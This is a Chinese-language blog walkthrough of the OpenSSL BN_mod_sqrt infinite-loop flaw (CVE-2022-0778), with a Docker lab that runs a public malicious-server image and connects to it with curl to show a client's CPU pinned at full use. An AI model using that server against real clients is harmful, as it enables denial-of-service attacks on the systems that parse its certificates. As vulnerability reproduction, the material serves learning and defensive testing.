Openssl Infinite Loop 漏洞(CVE-2022-0778)

Openssl Infinite Loop 漏洞(CVE-2022-0778)

1. 漏洞详情

在该漏洞中由于证书解析时使用的 BN_mod_sqrt() 函数存在一个错误,它会导致在非质数的情况下永远循环。可通过生成包含无效的显式曲线参数的证书来触发无限循环。由于证书解析是在验证证书签名之前进行的,因此任何解析外部提供的证书的程序都可能受到拒绝服务攻击。此外,当解析特制的私钥时(包含显式椭圆曲线参数),也可以触发无限循环。

任何使用BN_mod_sqrt()的其他应用程序,如果可以控制参数值,也会受到此漏洞影响。需要注意的是,任何需要证书中公钥的操作都会触发无限循环,特别是自签名的证书,在验证证书签名时会触发循环。

2. 漏洞复现

启动相应的docker容器

docker-compose up -d

我们根据这个项目来构建和运行存在恶意的服务器,如果没有 Golang 编译器,只需使用 Docker 镜像:

docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345

我们的思路是实现DDos攻击即看CPU负载程度是怎么样的,所以我们得先监控内部CPU利用率

docker-compose exec curl top

因为该漏洞可以在解析证书的时候调用有问题的函数BN所以我们可以通过cURL来实现漏洞

进入容器内部,使用cURL启动上面建立的服务器

docker-compose exec curl bash

curl -k https://host.docker.internal:12345

此时,curl就会陷入死循环中,查看CPU会看到被全部占用。

相关推荐
Red Red1 小时前
网安基础知识|IDS入侵检测系统|IPS入侵防御系统|堡垒机|VPN|EDR|CC防御|云安全-VDC/VPC|安全服务
网络·笔记·学习·安全·web安全
2401_857610032 小时前
SpringBoot社团管理:安全与维护
spring boot·后端·安全
弗锐土豆4 小时前
工业生产安全-安全帽第二篇-用java语言看看opencv实现的目标检测使用过程
java·opencv·安全·检测·面部
HackKong5 小时前
小白怎样入门网络安全?
网络·学习·安全·web安全·网络安全·黑客
打码人的日常分享5 小时前
商用密码应用安全性评估,密评整体方案,密评管理测评要求和指南,运维文档,软件项目安全设计相关文档合集(Word原件)
运维·安全·web安全·系统安全·规格说明书
爱吃奶酪的松鼠丶5 小时前
Web安全之XSS攻击的防范
安全·web安全·xss
东莞梦幻网络科技软件开发公司5 小时前
开发体育赛事直播平台防止数据泄露的技术安全方案
经验分享·安全
vmlogin虚拟多登浏览器5 小时前
虚拟浏览器可以应对哪些浏览器安全威胁?
服务器·网络·安全·跨境电商·防关联
澜世5 小时前
2024小迪安全基础入门第三课
网络·笔记·安全·网络安全
.Ayang7 小时前
tomcat 后台部署 war 包 getshell
java·计算机网络·安全·web安全·网络安全·tomcat·网络攻击模型